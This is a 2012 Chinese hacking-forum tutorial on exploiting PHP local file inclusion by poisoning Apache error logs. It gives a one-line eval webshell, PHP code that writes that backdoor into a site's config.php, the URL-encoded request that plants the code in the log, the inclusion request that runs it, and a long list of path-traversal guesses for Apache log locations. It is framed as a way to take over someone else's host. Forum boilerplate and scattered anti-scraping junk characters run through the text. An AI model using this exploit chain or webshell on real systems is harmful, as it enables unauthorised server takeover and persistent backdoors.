找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1819|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 - |6 s9 d5 P5 E7 b0 e+ b7 ~3 U  V9 [

+ E, ]& O9 B5 o# z比如还是这句一句话木马 4 [( {) I1 u( ^1 ]' a6 T$ r  ~
<?eval($_POST[cmd]);?>   
; K% V8 k; u3 R& u$ c1 E; F( z
$ F9 o' W3 X  A到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
- U2 f: {; k& U- i; @1 Ufopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
+ a: y& T+ S  ^6 B. h1 X7 \* z/ R* [# X2 H& p
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); , h/ F0 s9 o+ b( u6 {) J. s
fclose($fp);?>   //在config.php里写入一句木马语句 # z: c$ m7 g: V, s
3 v$ [) n0 Q- w) |8 [
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
; G  H. r& u3 P9 h9 }; }) n/ P转换为 . B; r( I3 I* ~. @9 e
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
) l( ]' M% R4 m0 w# Z: Wconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 3 k$ T9 g5 C: {
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B % h3 r- C) H/ K/ u
fclose%28%24fp%29%3B%3F%3E : Z6 w" ?: B# _; O: i2 r
我们提交   N' {- p$ c( R5 g5 `% I
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww * |  b- [% ]7 l+ K) Q. x$ d
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
6 F" |7 v( s3 |; E4 Q% H%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
' u1 D# C( s" g* W4 P5 R9 ]$ V7 Pcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
5 U9 ^$ Z. x3 c8 p2 j; T- V: a9 j+ w% L, f8 q0 z
这样就错误日志里就记录下了这行写入webshell的代码。
7 j/ `6 J" d0 V6 k9 X/ A3 t% ]我们再来包含日志,提交
6 L6 J0 i( F; A8 V% O4 i3 J- X* }http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
4 ~8 m: G+ a2 Z+ Y6 y
, Z7 f/ }8 e% R3 J( |. C* i这样webshell就写入成功了,config.php里就写入一句木马语句
/ C  P1 S$ a  E) d; cOK. ; D1 U+ h; R3 q: L! j; v" H) ]
http://www.xxx.com/forum/config.php这个就成了我们的webshell 4 @/ I/ p0 ?& Y* v
直接用lanker的客户端一连,主机就是你的了。 ) c9 U8 I1 U6 x( j6 L8 d- V9 U
2 [: g( T" U$ m- ~- ?% k% A
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
- X3 I) \: z- g/ a
$ }, a; p; x7 s4 f其他的日志路径,你可以去猜,也可以参照这里。 6 f5 q0 M8 U* c$ U. q
../../../../../../../../../../var/log/httpd/access_log * Q) ~4 M' s5 B( h7 ~
../../../../../../../../../../var/log/httpd/error_log 7 S9 n1 F! q8 X& _7 R7 c
../apache/logs/error.log , {% e) {6 D# d
../apache/logs/access.log
0 L1 _- n& d! z# ~& C../../apache/logs/error.log 9 K/ `0 T. o+ @
../../apache/logs/access.log ' x! s9 b$ E) {1 s; f
../../../apache/logs/error.log
# |  H' M1 b2 N5 c& _4 u- n% ~2 |../../../apache/logs/access.log
; c8 ]; M& ]8 p. u3 W+ a6 |9 P../../../../../../../../../../etc/httpd/logs/acces_log 1 b0 J- i: F/ A4 Q# i( X* P
../../../../../../../../../../etc/httpd/logs/acces.log
* v; l* R- s+ V../../../../../../../../../../etc/httpd/logs/error_log
+ r8 Q4 e) L0 P. c# K5 O% }../../../../../../../../../../etc/httpd/logs/error.log
4 o* z  N2 K3 I3 ^# ~4 a$ F../../../../../../../../../../var/www/logs/access_log 6 }. g6 p! q; l' x( `- L
../../../../../../../../../../var/www/logs/access.log 5 f! p9 M4 {; M. q1 v  d, p
../../../../../../../../../../usr/local/apache/logs/access_log 2 m" K9 n, ~3 Z. _
../../../../../../../../../../usr/local/apache/logs/access.log
( Q6 L; [/ Y) @- \../../../../../../../../../../var/log/apache/access_log 8 u9 Y2 C; N  q  Z; j
../../../../../../../../../../var/log/apache/access.log
9 i9 R7 L( i5 W../../../../../../../../../../var/log/access_log 5 u; m. k- ?' ^# ~
../../../../../../../../../../var/www/logs/error_log 9 g$ C6 g# M7 x) A9 j+ p
../../../../../../../../../../var/www/logs/error.log " Y2 D( e* W- \! v/ A
../../../../../../../../../../usr/local/apache/logs/error_log 2 e! i* O1 f0 S: F
../../../../../../../../../../usr/local/apache/logs/error.log
5 a( `1 u) f3 h8 d: |* A../../../../../../../../../../var/log/apache/error_log
2 _4 D* e" Z5 P9 a* @2 v../../../../../../../../../../var/log/apache/error.log + R9 K" ]% [1 Z9 B6 t
../../../../../../../../../../var/log/access_log 8 z( g& `0 F$ m/ H+ q9 B) E/ F3 _
../../../../../../../../../../var/log/error_log ( e. K* r: w# N+ ^: f2 {
/var/log/httpd/access_log       ; N. j9 @: K* g2 l/ w2 M  g
/var/log/httpd/error_log     . W" i. l8 l* A9 N
../apache/logs/error.log     
! ?3 O( c0 o# [) [  y../apache/logs/access.log . f$ c  L; k/ e0 t
../../apache/logs/error.log
# o( R) ?7 k6 O1 Q) r" ]../../apache/logs/access.log
4 z5 j( c2 s! L4 N0 E" S../../../apache/logs/error.log + `0 D% k4 X/ x8 _5 M* q, Z7 V
../../../apache/logs/access.log
) d* H: R' T2 H  x/etc/httpd/logs/acces_log 0 e' h  n  ~5 ^6 |% p
/etc/httpd/logs/acces.log ! z- r0 H' a0 h
/etc/httpd/logs/error_log
1 M. ^2 D1 d0 a1 B3 B/etc/httpd/logs/error.log
, N. s8 p+ j2 t/var/www/logs/access_log 9 y- Y/ |1 y1 X0 h. b+ V9 f$ L
/var/www/logs/access.log
5 ?! d! Y6 h/ p5 Y6 I8 w9 ~/usr/local/apache/logs/access_log   E& n0 S2 Q' o; j8 ^: t) I
/usr/local/apache/logs/access.log 4 y8 |9 d- V0 W
/var/log/apache/access_log
2 B3 Q( y( N6 G' s- E/var/log/apache/access.log 3 y$ T* `# x( k
/var/log/access_log
$ s/ l' g. E/ f/var/www/logs/error_log
8 {/ l4 W. g" V7 `/var/www/logs/error.log
- x" c2 b5 Y# v/usr/local/apache/logs/error_log 7 s- F$ O/ V4 z: l. v: A' l: {
/usr/local/apache/logs/error.log ; h# F8 f/ X5 t" m0 N. \: E
/var/log/apache/error_log + I7 x9 ?' j, `
/var/log/apache/error.log 9 D2 f$ ?* q- _( j* {/ y
/var/log/access_log
  Q" Z8 Q$ T3 {! r# M  O9 m- C/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表